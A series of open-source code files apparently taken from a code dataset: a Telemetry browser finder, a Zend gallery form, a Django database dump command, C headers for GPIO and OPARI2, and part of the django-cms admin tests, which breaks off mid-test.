from telemetry.internal.backends.chrome import cros_browser_finder
from telemetry.internal.backends.chrome import desktop_browser_finder
from telemetry.internal.browser import browser_finder_exceptions
from telemetry.internal.platform import device_finder
BROWSER_FINDERS = [
desktop_browser_finder,
android_browser_finder,
cros_browser_finder,
]
def FindAllBrowserTypes(options):
browsers = []
for bf in BROWSER_FINDERS:
browsers.extend(bf.FindAllBrowserTypes(options))
return browsers
@decorators.Cache
def FindBrowser(options):
"""Finds the best PossibleBrowser object given a BrowserOptions object.
Args:
A BrowserOptions object.
Returns:
A PossibleBrowser object.
Raises:
BrowserFinderException: Options improperly set, or an error occurred.
"""
if options.__class__.__name__ == '_FakeBrowserFinderOptions':
return options.fake_possible_browser
if options.browser_type == 'exact' and options.browser_executable == None:
raise browser_finder_exceptions.BrowserFinderException(
'--browser=exact requires --browser-executable to be set.')
if options.browser_type != 'exact' and options.browser_executable != None:
raise browser_finder_exceptions.BrowserFinderException(
'--browser-executable requires --browser=exact.')
if options.browser_type == 'cros-chrome' and options.cros_remote == None:
raise browser_finder_exceptions.BrowserFinderException(
'browser_type=cros-chrome requires cros_remote be set.')
if (options.browser_type != 'cros-chrome' and
options.browser_type != 'cros-chrome-guest' and
options.cros_remote != None):
raise browser_finder_exceptions.BrowserFinderException(
'--remote requires --browser=cros-chrome or cros-chrome-guest.')
devices = device_finder.GetDevicesMatchingOptions(options)
browsers = []
default_browsers = []
for device in devices:
for finder in BROWSER_FINDERS:
if(options.browser_type and options.browser_type != 'any' and
options.browser_type not in finder.FindAllBrowserTypes(options)):
continue
curr_browsers = finder.FindAllAvailableBrowsers(options, device)
new_default_browser = finder.SelectDefaultBrowser(curr_browsers)
if new_default_browser:
default_browsers.append(new_default_browser)
browsers.extend(curr_browsers)
if options.browser_type == None:
if default_browsers:
default_browser = sorted(default_browsers,
key=lambda b: b.last_modification_time())[-1]
logging.warning('--browser omitted. Using most recent local build: %s',
default_browser.browser_type)
default_browser.UpdateExecutableIfNeeded()
return default_browser
if len(browsers) == 1:
logging.warning('--browser omitted. Using only available browser: %s',
browsers[0].browser_type)
browsers[0].UpdateExecutableIfNeeded()
return browsers[0]
raise browser_finder_exceptions.BrowserTypeRequiredException(
'--browser must be specified. Available browsers:\n%s' %
'\n'.join(sorted(set([b.browser_type for b in browsers]))))
if options.browser_type == 'any':
types = FindAllBrowserTypes(options)
def CompareBrowsersOnTypePriority(x, y):
x_idx = types.index(x.browser_type)
y_idx = types.index(y.browser_type)
return x_idx - y_idx
browsers.sort(CompareBrowsersOnTypePriority)
if len(browsers) >= 1:
browsers[0].UpdateExecutableIfNeeded()
return browsers[0]
else:
return None
matching_browsers = [
b for b in browsers
if b.browser_type == options.browser_type and
b.SupportsOptions(options.browser_options)]
chosen_browser = None
if len(matching_browsers) == 1:
chosen_browser = matching_browsers[0]
elif len(matching_browsers) > 1:
logging.warning('Multiple browsers of the same type found: %s',
repr(matching_browsers))
chosen_browser = sorted(matching_browsers,
key=lambda b: b.last_modification_time())[-1]
if chosen_browser:
logging.info('Chose browser: %s', repr(chosen_browser))
chosen_browser.UpdateExecutableIfNeeded()
return chosen_browser
@decorators.Cache
def GetAllAvailableBrowsers(options, device):
"""Returns a list of available browsers on the device.
Args:
options: A BrowserOptions object.
device: The target device, which can be None.
Returns:
A list of browser instances.
Raises:
BrowserFinderException: Options are improperly set, or an error occurred.
"""
if not device:
return []
possible_browsers = []
for browser_finder in BROWSER_FINDERS:
possible_browsers.extend(
browser_finder.FindAllAvailableBrowsers(options, device))
return possible_browsers
@decorators.Cache
def GetAllAvailableBrowserTypes(options):
"""Returns a list of available browser types.
Args:
options: A BrowserOptions object.
Returns:
A list of browser type strings.
Raises:
BrowserFinderException: Options are improperly set, or an error occurred.
"""
devices = device_finder.GetDevicesMatchingOptions(options)
possible_browsers = []
for device in devices:
possible_browsers.extend(GetAllAvailableBrowsers(options, device))
type_list = set([browser.browser_type for browser in possible_browsers])
# The reference build should be available for mac, linux and win, but the
# desktop browser finder won't return it in the list of browsers.
for browser in possible_browsers:
if (browser.target_os == 'darwin' or browser.target_os.startswith('linux')
or browser.target_os.startswith('win')):
type_list.add('reference')
break
type_list = list(type_list)
type_list.sort()
return type_list
| bsd-3-clause |
rongeb/anit_cms_for_zf3 | module/Galerie/src/Form/GalerieForm.php | 1872 | <?php
// module/SousRubrique/src/SousRubrique/Form/SousRubriqueForm.php:
namespace Galerie\Form;
use Zend\Form\Form;
use Zend\Form\Element;
use Rubrique\Model\RubriqueDao;
use Contenu\Form\ContenuForm;
/**
* Class GalerieForm
* @package Galerie\Form
*/
class GalerieForm extends ContenuForm {
/**
* @return array
*/
protected function getRubriques() {
$rubriquesDao = new RubriqueDao();
$rubriques = $rubriquesDao->getAllRubriques("array");
$rubriqueArray = array();
foreach ($rubriques as $value) {
$rubriqueArray[$value['id']] = $value['libelle'];
}
return $rubriqueArray;
}
/*
protected function getSousRubriques($rubid){
$sousrubriquesDao= new SousRubriqueDao();
$sousrubriques = $sousrubriquesDao->getSousrubriquesByRubrique($rubid,"array");
$sousrubriqueArray = array();
foreach($sousrubriques as $value){
$sousrubriqueArray[$value['id']]=$value['libelle'];
}
return $sousrubriqueArray;
}
*/
/**
* GalerieForm constructor.
* @param null $name
*/
public function __construct($name = null) {
// we want to ignore the name passed
parent::__construct('galerieform');
//$this->setHydrator(new ClassMethods);
$this->add(array(
'name' => 'imagepath',
'attributes' => array(
'type' => 'text'
),
'options' => array(
'label' => $this->utils->translate('Image')
),
));
$this->add(array(
'name' => 'imagepath2',
'attributes' => array(
'type' => 'text'
),
'options' => array(
'label' => $this->utils->translate('Image 2')
),
));
}
}
| bsd-3-clause |
duointeractive/django-fabtastic | fabtastic/management/commands/ft_dump_db.py | 1185 | import os
from django.core.management.base import BaseCommand
from django.conf import settings
from fabtastic import db
class Command(BaseCommand):
args = '[<output_file_path>]'
help = 'Dumps a SQL backup of your entire DB. Defaults to CWD.'
def get_dump_path(self, db_alias):
"""
Determines the path to write the SQL dump to. Depends on whether the
user specified a path or not.
"""
if len(self.args) > 0:
return self.args[0]
else:
dump_filename = db.util.get_db_dump_filename(db_alias=db_alias)
return os.path.join(os.getcwd(), dump_filename)
def handle(self, *args, **options):
"""
Handle raw input.
"""
self.args = args
self.options = options
db_alias = getattr(settings, 'FABTASTIC_DIRECT_TO_DB_ALIAS', 'default')
# Get DB settings from settings.py.
database = db.util.get_db_setting_dict(db_alias=db_alias)
# Figure out where to dump the file to.
dump_path = self.get_dump_path(db_alias)
# Run the db dump.
db.dump_db_to_file(dump_path, database) | bsd-3-clause |
skordal/potato | libsoc/gpio.h | 1981 | // The Potato SoC Library
// (c) Kristian Klomsten Skordal 2016 <[email protected]>
// Report bugs and issues on <https://github.com/skordal/potato/issues>
#ifndef PAEE_GPIO_H
#define PAEE_GPIO_H
#include <stdbool.h>
#include <stdint.h>
#define PAEE_GPIO_REG_INPUT 0
#define PAEE_GPIO_REG_OUTPUT 4
#define PAEE_GPIO_REG_DIRECTION 8
struct gpio
{
volatile uint32_t * registers;
};
/**
* Initializes a GPIO instance.
* @param module Pointer to a GPIO instance structure.
* @param base Pointer to the base address of the GPIO hardware instance.
*/
static inline void gpio_initialize(struct gpio * module, volatile void * base)
{
module->registers = base;
}
/**
* Sets the GPIO direction register.
*
* A value of 1 in the direction bitmask indicates that the pin is an output,
* while a value of 0 indicates that the pin is an input.
*
* @param module Pointer to a GPIO instance structure.
* @param dir Direction bitmask for the GPIO direction register.
*/
static inline void gpio_set_direction(struct gpio * module, uint32_t dir)
{
module->registers[PAEE_GPIO_REG_DIRECTION >> 2] = dir;
}
static inline uint32_t gpio_get_input(struct gpio * module)
{
return module->registers[PAEE_GPIO_REG_INPUT >> 2];
}
static inline void gpio_set_output(struct gpio * module, uint32_t output)
{
module->registers[PAEE_GPIO_REG_OUTPUT >> 2] = output;
}
/**
* Sets (turns on) the specified GPIO pin.
* @param module Pointer to the GPIO instance structure.
* @param pin Pin number for the pin to turn on.
*/
static inline void gpio_set_pin(struct gpio * module, uint8_t pin)
{
module->registers[PAEE_GPIO_REG_OUTPUT >> 2] |= (1 << pin);
}
/**
* Clears (turns off) the specified GPIO pin.
* @param module Pointer to the PGIO instance structure.
* @param pin Pin number for the pin to turn off.
*/
static inline void gpio_clear_pin(struct gpio * module, uint8_t pin)
{
module->registers[PAEE_GPIO_REG_OUTPUT >> 2] &= ~(1 << pin);
}
#endif
| bsd-3-clause |
pyrovski/scalasca | opari2/src/opari/handler.h | 2565 | /*
* This file is part of the Score-P software (http://www.score-p.org)
*
* Copyright (c) 2009-2011,
* RWTH Aachen University, Germany
* Gesellschaft fuer numerische Simulation mbH Braunschweig, Germany
* Technische Universitaet Dresden, Germany
* University of Oregon, Eugene, USA
* Forschungszentrum Juelich GmbH, Germany
* German Research School for Simulation Sciences GmbH, Juelich/Aachen, Germany
* Technische Universitaet Muenchen, Germany
*
* See the COPYING file in the package base directory for details.
*
*/
/****************************************************************************
** SCALASCA http://www.scalasca.org/ **
** KOJAK http://www.fz-juelich.de/jsc/kojak/ **
*****************************************************************************
** Copyright (c) 1998-2009 **
** Forschungszentrum Juelich, Juelich Supercomputing Centre **
** **
** See the file COPYRIGHT in the package base directory for details **
****************************************************************************/
/** @internal
*
* @file handler.h
* @status beta
*
* @maintainer Dirk Schmidl <[email protected]>
*
* @authors Bernd Mohr <[email protected]>
* Dirk Schmidl <[email protected]>
* Peter Philippen <[email protected]>
* @brief Functions to handle parallel regions. Including the creation
* and initialization of region handles. */
#ifndef HANDLER_H
#define HANDLER_H
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/time.h>
#include "opari2.h"
#include "ompragma.h"
typedef void ( *phandler_t )( OMPragma*, ostream& );
void
init_handler( const char* infile,
Language l,
Format f,
bool genLineStmts );
void
finalize_handler( const char* incfile,
char* incfileNoPath,
ostream& os );
phandler_t
find_handler( const string& pragma );
void
extra_handler( int lineno,
ostream& os );
bool
set_disabled( const string& constructs );
bool
instrument_locks();
bool
genLineStmts();
void
print_regstack_top();
extern bool do_transform;
//extern timeval compiletime;
//extern ino_t infile_inode;
extern string inode_compiletime_id;
extern time_t infile_last_modification;
#endif
| bsd-3-clause |
timgraham/django-cms | cms/tests/test_admin.py | 63904 | # -*- coding: utf-8 -*-
import json
import datetime
from djangocms_text_ckeditor.cms_plugins import TextPlugin
from djangocms_text_ckeditor.models import Text
from django.contrib import admin
from django.contrib.admin.models import LogEntry
from django.contrib.admin.sites import site
from django.contrib.auth import get_user_model
from django.contrib.auth.models import Permission, AnonymousUser
from django.contrib.sites.models import Site
from django.core.urlresolvers import reverse
from django.http import (Http404, HttpResponseBadRequest,
QueryDict, HttpResponseNotFound)
from django.utils.encoding import force_text, smart_str
from django.utils import timezone
from django.utils.six.moves.urllib.parse import urlparse
from cms import api
from cms.api import create_page, create_title, add_plugin, publish_page
from cms.admin.change_list import CMSChangeList
from cms.admin.forms import PageForm, AdvancedSettingsForm
from cms.admin.pageadmin import PageAdmin
from cms.constants import TEMPLATE_INHERITANCE_MAGIC
from cms.models import StaticPlaceholder
from cms.models.pagemodel import Page
from cms.models.permissionmodels import GlobalPagePermission, PagePermission
from cms.models.placeholdermodel import Placeholder
from cms.models.pluginmodel import CMSPlugin
from cms.models.titlemodels import Title
from cms.test_utils import testcases as base
from cms.test_utils.testcases import (
CMSTestCase, URL_CMS_PAGE_DELETE, URL_CMS_PAGE,URL_CMS_TRANSLATION_DELETE,
URL_CMS_PAGE_CHANGE_LANGUAGE, URL_CMS_PAGE_CHANGE,
URL_CMS_PAGE_ADD, URL_CMS_PAGE_PUBLISHED
)
from cms.test_utils.util.fuzzy_int import FuzzyInt
from cms.utils import get_cms_setting
from cms.utils.compat import DJANGO_1_10
from cms.utils.urlutils import admin_reverse
class AdminTestsBase(CMSTestCase):
@property
def admin_class(self):
return site._registry[Page]
def _get_guys(self, admin_only=False, use_global_permissions=True):
admin_user = self.get_superuser()
if admin_only:
return admin_user
staff_user = self._get_staff_user(use_global_permissions)
return admin_user, staff_user
def _get_staff_user(self, use_global_permissions=True):
USERNAME = 'test'
if get_user_model().USERNAME_FIELD == 'email':
normal_guy = get_user_model().objects.create_user(USERNAME, '[email protected]', '[email protected]')
else:
normal_guy = get_user_model().objects.create_user(USERNAME, '[email protected]', USERNAME)
normal_guy.is_staff = True
normal_guy.is_active = True
normal_guy.save()
normal_guy.user_permissions = Permission.objects.filter(
codename__in=['change_page', 'change_title', 'add_page', 'add_title', 'delete_page', 'delete_title']
)
if use_global_permissions:
gpp = GlobalPagePermission.objects.create(
user=normal_guy,
can_change=True,
can_delete=True,
can_change_advanced_settings=False,
can_publish=True,
can_change_permissions=False,
can_move_page=True,
)
gpp.sites = Site.objects.all()
return normal_guy
class AdminTestCase(AdminTestsBase):
def test_extension_not_in_admin(self):
admin_user, staff = self._get_guys()
with self.login_user_context(admin_user):
request = self.get_request(URL_CMS_PAGE_CHANGE % 1, 'en',)
response = site.index(request)
self.assertNotContains(response, '/mytitleextension/')
self.assertNotContains(response, '/mypageextension/')
def test_2apphooks_with_same_namespace(self):
PAGE1 = 'Test Page'
PAGE2 = 'Test page 2'
APPLICATION_URLS = 'project.sampleapp.urls'
admin_user, normal_guy = self._get_guys()
current_site = Site.objects.get(pk=1)
# The admin creates the page
page = create_page(PAGE1, "nav_playground.html", "en",
site=current_site, created_by=admin_user)
page2 = create_page(PAGE2, "nav_playground.html", "en",
site=current_site, created_by=admin_user)
page.application_urls = APPLICATION_URLS
page.application_namespace = "space1"
page.save()
page2.application_urls = APPLICATION_URLS
page2.save()
# The admin edits the page (change the page name for ex.)
page_data = {
'title': PAGE2,
'slug': page2.get_slug(),
'language': 'en',
'site': page.site.pk,
'template': page2.template,
'application_urls': 'SampleApp',
'application_namespace': 'space1',
}
with self.login_user_context(admin_user):
resp = self.client.post(base.URL_CMS_PAGE_ADVANCED_CHANGE % page.pk, page_data)
self.assertEqual(resp.status_code, 302)
self.assertEqual(Page.objects.filter(application_namespace="space1").count(), 1)
resp = self.client.post(base.URL_CMS_PAGE_ADVANCED_CHANGE % page2.pk, page_data)
self.assertEqual(resp.status_code, 200)
page_data['application_namespace'] = 'space2'
resp = self.client.post(base.URL_CMS_PAGE_ADVANCED_CHANGE % page2.pk, page_data)
self.assertEqual(resp.status_code, 302)
def test_delete(self):
admin_user = self.get_superuser()
create_page("home", "nav_playground.html", "en",
created_by=admin_user, published=True)
page = create_page("delete-page", "nav_playground.html", "en",
created_by=admin_user, published=True)
create_page('child-page', "nav_playground.html", "en",
created_by=admin_user, published=True, parent=page)
body = page.placeholders.get(slot='body')
add_plugin(body, 'TextPlugin', 'en', body='text')
page.publish('en')
with self.login_user_context(admin_user):
data = {'post': 'yes'}
response = self.client.post(URL_CMS_PAGE_DELETE % page.pk, data)
self.assertRedirects(response, URL_CMS_PAGE)
def test_delete_diff_language(self):
admin_user = self.get_superuser()
create_page("home", "nav_playground.html", "en",
created_by=admin_user, published=True)
page = create_page("delete-page", "nav_playground.html", "en",
created_by=admin_user, published=True)
create_page('child-page', "nav_playground.html", "de",
created_by=admin_user, published=True, parent=page)
body = page.placeholders.get(slot='body')
add_plugin(body, 'TextPlugin', 'en', body='text')
page.publish('en')
with self.login_user_context(admin_user):
data = {'post': 'yes'}
response = self.client.post(URL_CMS_PAGE_DELETE % page.pk, data)
self.assertRedirects(response, URL_CMS_PAGE)
def test_search_fields(self):
superuser = self.get_superuser()
from django.contrib.admin import site
with self.login_user_context(superuser):
for model, admin_instance in site._registry.items():
if model._meta.app_label != 'cms':
continue
if not admin_instance.search_fields:
continue
url = admin_reverse('cms_%s_changelist' % model._meta.model_name)
response = self.client.get('%s?q=1' % url)
errmsg = response.content
self.assertEqual(response.status_code, 200, errmsg)
def test_pagetree_filtered(self):
superuser = self.get_superuser()
create_page("root-page", "nav_playground.html", "en",
created_by=superuser, published=True)
with self.login_user_context(superuser):
url = admin_reverse('cms_page_changelist')
response = self.client.get('%s?template__exact=nav_playground.html' % url)
errmsg = response.content
self.assertEqual(response.status_code, 200, errmsg)
def test_delete_translation(self):
admin_user = self.get_superuser()
page = create_page("delete-page-translation", "nav_playground.html", "en",
created_by=admin_user, published=True)
create_title("de", "delete-page-translation-2", page, slug="delete-page-translation-2")
create_title("es-mx", "delete-page-translation-es", page, slug="delete-page-translation-es")
with self.login_user_context(admin_user):
response = self.client.get(URL_CMS_TRANSLATION_DELETE % page.pk, {'language': 'de'})
self.assertEqual(response.status_code, 200)
response = self.client.post(URL_CMS_TRANSLATION_DELETE % page.pk, {'language': 'de'})
self.assertRedirects(response, URL_CMS_PAGE)
response = self.client.get(URL_CMS_TRANSLATION_DELETE % page.pk, {'language': 'es-mx'})
self.assertEqual(response.status_code, 200)
response = self.client.post(URL_CMS_TRANSLATION_DELETE % page.pk, {'language': 'es-mx'})
self.assertRedirects(response, URL_CMS_PAGE)
def test_change_dates(self):
admin_user, staff = self._get_guys()
with self.settings(USE_TZ=False, TIME_ZONE='UTC'):
page = create_page('test-page', 'nav_playground.html', 'en')
page.publish('en')
draft = page.get_draft_object()
original_date = draft.publication_date
original_end_date = draft.publication_end_date
new_date = timezone.now() - datetime.timedelta(days=1)
new_end_date = timezone.now() + datetime.timedelta(days=1)
url = admin_reverse('cms_page_dates', args=(draft.pk,))
with self.login_user_context(admin_user):
response = self.client.post(url, {
'language': 'en',
'site': draft.site.pk,
'publication_date_0': new_date.date(),
'publication_date_1': new_date.strftime("%H:%M:%S"),
'publication_end_date_0': new_end_date.date(),
'publication_end_date_1': new_end_date.strftime("%H:%M:%S"),
})
self.assertEqual(response.status_code, 302)
draft = Page.objects.get(pk=draft.pk)
self.assertNotEqual(draft.publication_date.timetuple(), original_date.timetuple())
self.assertEqual(draft.publication_date.timetuple(), new_date.timetuple())
self.assertEqual(draft.publication_end_date.timetuple(), new_end_date.timetuple())
if original_end_date:
self.assertNotEqual(draft.publication_end_date.timetuple(), original_end_date.timetuple())
with self.settings(USE_TZ=True, TIME_ZONE='UTC'):
page = create_page('test-page-2', 'nav_playground.html', 'en')
page.publish('en')
draft = page.get_draft_object()
original_date = draft.publication_date
original_end_date = draft.publication_end_date
new_date = timezone.localtime(timezone.now()) - datetime.timedelta(days=1)
new_end_date = timezone.localtime(timezone.now()) + datetime.timedelta(days=1)
url = admin_reverse('cms_page_dates', args=(draft.pk,))
with self.login_user_context(admin_user):
response = self.client.post(url, {
'language': 'en',
'site': draft.site.pk,
'publication_date_0': new_date.date(),
'publication_date_1': new_date.strftime("%H:%M:%S"),
'publication_end_date_0': new_end_date.date(),
'publication_end_date_1': new_end_date.strftime("%H:%M:%S"),
})
self.assertEqual(response.status_code, 302)
draft = Page.objects.get(pk=draft.pk)
self.assertNotEqual(draft.publication_date.timetuple(), original_date.timetuple())
self.assertEqual(timezone.localtime(draft.publication_date).timetuple(), new_date.timetuple())
self.assertEqual(timezone.localtime(draft.publication_end_date).timetuple(), new_end_date.timetuple())
if original_end_date:
self.assertNotEqual(draft.publication_end_date.timetuple(), original_end_date.timetuple())
def test_change_template(self):
admin_user, staff = self._get_guys()
request = self.get_request(URL_CMS_PAGE_CHANGE % 1, 'en')
request.method = "POST"
pageadmin = site._registry[Page]
with self.login_user_context(staff):
self.assertRaises(Http404, pageadmin.change_template, request, 1)
page = create_page('test-page', 'nav_playground.html', 'en')
response = pageadmin.change_template(request, page.pk)
self.assertEqual(response.status_code, 403)
url = admin_reverse('cms_page_change_template', args=(page.pk,))
with self.login_user_context(admin_user):
response = self.client.post(url, {'template': 'doesntexist'})
self.assertEqual(response.status_code, 400)
response = self.client.post(url, {'template': get_cms_setting('TEMPLATES')[0][0]})
self.assertEqual(response.status_code, 200)
def test_changelist_items(self):
admin_user = self.get_superuser()
first_level_page = create_page('level1', 'nav_playground.html', 'en')
second_level_page_top = create_page('level21', "nav_playground.html", "en",
created_by=admin_user, published=True, parent=first_level_page)
second_level_page_bottom = create_page('level22', "nav_playground.html", "en",
created_by=admin_user, published=True,
parent=self.reload(first_level_page))
third_level_page = create_page('level3', "nav_playground.html", "en",
created_by=admin_user, published=True, parent=second_level_page_top)
self.assertEqual(Page.objects.all().count(), 4)
url = admin_reverse('cms_%s_changelist' % Page._meta.model_name)
request = self.get_request(url)
request.session = {}
request.user = admin_user
page_admin = site._registry[Page]
cl_params = [request, page_admin.model, page_admin.list_display,
page_admin.list_display_links, page_admin.list_filter,
page_admin.date_hierarchy, page_admin.search_fields,
page_admin.list_select_related, page_admin.list_per_page]
if hasattr(page_admin, 'list_max_show_all'): # django 1.4
cl_params.append(page_admin.list_max_show_all)
cl_params.extend([page_admin.list_editable, page_admin])
cl = CMSChangeList(*tuple(cl_params))
root_page = cl.items[0]
self.assertEqual(root_page, first_level_page)
self.assertEqual(root_page.get_children()[0], second_level_page_top)
self.assertEqual(root_page.get_children()[1], second_level_page_bottom)
self.assertEqual(root_page.get_children()[0].get_children()[0], third_level_page)
def test_changelist_get_results(self):
admin_user = self.get_superuser()
first_level_page = create_page('level1', 'nav_playground.html', 'en', published=True)
second_level_page_top = create_page('level21', "nav_playground.html", "en",
created_by=admin_user, published=True,
parent=first_level_page)
second_level_page_bottom = create_page('level22', "nav_playground.html", "en", # nopyflakes
created_by=admin_user, published=True,
parent=self.reload(first_level_page))
third_level_page = create_page('level3', "nav_playground.html", "en", # nopyflakes
created_by=admin_user, published=True,
parent=second_level_page_top)
fourth_level_page = create_page('level23', "nav_playground.html", "en", # nopyflakes
created_by=admin_user,
parent=self.reload(first_level_page))
self.assertEqual(Page.objects.all().count(), 9)
url = admin_reverse('cms_%s_changelist' % Page._meta.model_name)
request = self.get_request(url)
request.session = {}
request.user = admin_user
page_admin = site._registry[Page]
# full blown page list. only draft pages are taken into account
cl_params = [request, page_admin.model, page_admin.list_display,
page_admin.list_display_links, page_admin.list_filter,
page_admin.date_hierarchy, page_admin.search_fields,
page_admin.list_select_related, page_admin.list_per_page]
if hasattr(page_admin, 'list_max_show_all'): # django 1.4
cl_params.append(page_admin.list_max_show_all)
cl_params.extend([page_admin.list_editable, page_admin])
cl = CMSChangeList(*tuple(cl_params))
cl.get_results(request)
self.assertEqual(cl.full_result_count, 5)
self.assertEqual(cl.result_count, 5)
# only one unpublished page is returned
request = self.get_request(url+'?q=level23')
request.session = {}
request.user = admin_user
cl_params[0] = request
cl = CMSChangeList(*tuple(cl_params))
cl.get_results(request)
self.assertEqual(cl.full_result_count, 5)
self.assertEqual(cl.result_count, 1)
# a number of pages matches the query
request = self.get_request(url+'?q=level2')
request.session = {}
request.user = admin_user
cl_params[0] = request
cl = CMSChangeList(*tuple(cl_params))
cl.get_results(request)
self.assertEqual(cl.full_result_count, 5)
self.assertEqual(cl.result_count, 3)
def test_unihandecode_doesnt_break_404_in_admin(self):
self.get_superuser()
if get_user_model().USERNAME_FIELD == 'email':
self.client.login(username='[email protected]', password='[email protected]')
else:
self.client.login(username='admin', password='admin')
response = self.client.get(URL_CMS_PAGE_CHANGE_LANGUAGE % (1, 'en'))
# Since Django 1.11 404 results in redirect to the admin home
if DJANGO_1_10:
self.assertEqual(response.status_code, 404)
else:
self.assertRedirects(response, reverse('admin:index'))
def test_empty_placeholder_with_nested_plugins(self):
# It's important that this test clears a placeholder
# which only has nested plugins.
# This allows us to catch a strange bug that happened
# under these conditions with the new related name handling.
page_en = create_page("EmptyPlaceholderTestPage (EN)", "nav_playground.html", "en")
ph = page_en.placeholders.get(slot="body")
column_wrapper = add_plugin(ph, "MultiColumnPlugin", "en")
add_plugin(ph, "ColumnPlugin", "en", parent=column_wrapper)
add_plugin(ph, "ColumnPlugin", "en", parent=column_wrapper)
# before cleaning the de placeholder
self.assertEqual(ph.get_plugins('en').count(), 3)
admin_user, staff = self._get_guys()
endpoint = self.get_clear_placeholder_url(ph, language='en')
with self.login_user_context(admin_user):
response = self.client.post(endpoint, {'test': 0})
self.assertEqual(response.status_code, 302)
# After cleaning the de placeholder, en placeholder must still have all the plugins
self.assertEqual(ph.get_plugins('en').count(), 0)
def test_empty_placeholder_in_correct_language(self):
"""
Test that Cleaning a placeholder only affect current language contents
"""
# create some objects
page_en = create_page("EmptyPlaceholderTestPage (EN)", "nav_playground.html", "en")
ph = page_en.placeholders.get(slot="body")
# add the text plugin to the en version of the page
add_plugin(ph, "TextPlugin", "en", body="Hello World EN 1")
add_plugin(ph, "TextPlugin", "en", body="Hello World EN 2")
# creating a de title of the page and adding plugins to it
create_title("de", page_en.get_title(), page_en, slug=page_en.get_slug())
add_plugin(ph, "TextPlugin", "de", body="Hello World DE")
add_plugin(ph, "TextPlugin", "de", body="Hello World DE 2")
add_plugin(ph, "TextPlugin", "de", body="Hello World DE 3")
# before cleaning the de placeholder
self.assertEqual(ph.get_plugins('en').count(), 2)
self.assertEqual(ph.get_plugins('de').count(), 3)
admin_user, staff = self._get_guys()
endpoint = self.get_clear_placeholder_url(ph, language='de')
with self.login_user_context(admin_user):
response = self.client.post(endpoint, {'test': 0})
self.assertEqual(response.status_code, 302)
# After cleaning the de placeholder, en placeholder must still have all the plugins
self.assertEqual(ph.get_plugins('en').count(), 2)
self.assertEqual(ph.get_plugins('de').count(), 0)
class AdminTests(AdminTestsBase):
# TODO: needs tests for actual permissions, not only superuser/normaluser
def setUp(self):
self.page = create_page("testpage", "nav_playground.html", "en")
def get_admin(self):
User = get_user_model()
fields = dict(email="[email protected]", is_staff=True, is_superuser=True)
if (User.USERNAME_FIELD != 'email'):
fields[User.USERNAME_FIELD] = "admin"
usr = User(**fields)
usr.set_password(getattr(usr, User.USERNAME_FIELD))
usr.save()
return usr
def get_permless(self):
User = get_user_model()
fields = dict(email="[email protected]", is_staff=True)
if (User.USERNAME_FIELD != 'email'):
fields[User.USERNAME_FIELD] = "permless"
usr = User(**fields)
usr.set_password(getattr(usr, User.USERNAME_FIELD))
usr.save()
return usr
def get_page(self):
return self.page
def test_change_publish_unpublish(self):
page = self.get_page()
permless = self.get_permless()
with self.login_user_context(permless):
request = self.get_request()
response = self.admin_class.publish_page(request, page.pk, "en")
self.assertEqual(response.status_code, 405)
page = self.reload(page)
self.assertFalse(page.is_published('en'))
request = self.get_request(post_data={'no': 'data'})
response = self.admin_class.publish_page(request, page.pk, "en")
self.assertEqual(response.status_code, 403)
page = self.reload(page)
self.assertFalse(page.is_published('en'))
admin_user = self.get_admin()
with self.login_user_context(admin_user):
request = self.get_request(post_data={'no': 'data'})
response = self.admin_class.publish_page(request, page.pk, "en")
self.assertEqual(response.status_code, 302)
page = self.reload(page)
self.assertTrue(page.is_published('en'))
response = self.admin_class.unpublish(request, page.pk, "en")
self.assertEqual(response.status_code, 302)
page = self.reload(page)
self.assertFalse(page.is_published('en'))
def test_change_status_adds_log_entry(self):
page = self.get_page()
admin_user = self.get_admin()
with self.login_user_context(admin_user):
request = self.get_request(post_data={'no': 'data'})
self.assertFalse(LogEntry.objects.count())
response = self.admin_class.publish_page(request, page.pk, "en")
self.assertEqual(response.status_code, 302)
self.assertEqual(1, LogEntry.objects.count())
self.assertEqual(page.pk, int(LogEntry.objects.all()[0].object_id))
def test_change_innavigation(self):
page = self.get_page()
permless = self.get_permless()
admin_user = self.get_admin()
with self.login_user_context(permless):
request = self.get_request()
response = self.admin_class.change_innavigation(request, page.pk)
self.assertEqual(response.status_code, 405)
with self.login_user_context(permless):
request = self.get_request(post_data={'no': 'data'})
response = self.admin_class.change_innavigation(request, page.pk)
self.assertEqual(response.status_code, 403)
with self.login_user_context(permless):
request = self.get_request(post_data={'no': 'data'})
self.assertRaises(Http404, self.admin_class.change_innavigation,
request, page.pk + 100)
with self.login_user_context(permless):
request = self.get_request(post_data={'no': 'data'})
response = self.admin_class.change_innavigation(request, page.pk)
self.assertEqual(response.status_code, 403)
with self.login_user_context(admin_user):
request = self.get_request(post_data={'no': 'data'})
old = page.in_navigation
response = self.admin_class.change_innavigation(request, page.pk)
self.assertEqual(response.status_code, 204)
page = self.reload(page)
self.assertEqual(old, not page.in_navigation)
def test_publish_page_requires_perms(self):
permless = self.get_permless()
with self.login_user_context(permless):
request = self.get_request()
request.method = "POST"
response = self.admin_class.publish_page(request, Page.objects.all()[0].pk, "en")
self.assertEqual(response.status_code, 403)
def test_remove_plugin_requires_post(self):
ph = Placeholder.objects.create(slot='test')
plugin = add_plugin(ph, 'TextPlugin', 'en', body='test')
admin_user = self.get_admin()
with self.login_user_context(admin_user):
endpoint = self.get_delete_plugin_uri(plugin)
response = self.client.get(endpoint)
self.assertEqual(response.status_code, 200)
def test_move_language(self):
page = self.get_page()
source, target = list(page.placeholders.all())[:2]
col = add_plugin(source, 'MultiColumnPlugin', 'en')
sub_col = add_plugin(source, 'ColumnPlugin', 'en', target=col)
col2 = add_plugin(source, 'MultiColumnPlugin', 'de')
admin_user = self.get_admin()
with self.login_user_context(admin_user):
data = {
'plugin_id': sub_col.pk,
'placeholder_id': source.id,
'plugin_parent': col2.pk,
'plugin_language': 'de'
}
endpoint = self.get_move_plugin_uri(sub_col)
response = self.client.post(endpoint, data)
self.assertEqual(response.status_code, 200)
sub_col = CMSPlugin.objects.get(pk=sub_col.pk)
self.assertEqual(sub_col.language, "de")
self.assertEqual(sub_col.parent_id, col2.pk)
def test_preview_page(self):
permless = self.get_permless()
with self.login_user_context(permless):
request = self.get_request()
self.assertRaises(Http404, self.admin_class.preview_page, request, 404, "en")
page = self.get_page()
page.publish("en")
Page.set_homepage(page)
base_url = page.get_absolute_url()
with self.login_user_context(permless):
request = self.get_request('/?public=true')
response = self.admin_class.preview_page(request, page.pk, 'en')
self.assertEqual(response.status_code, 302)
self.assertEqual(response['Location'], '%s?%s&language=en' % (base_url, get_cms_setting('CMS_TOOLBAR_URL__EDIT_ON')))
request = self.get_request()
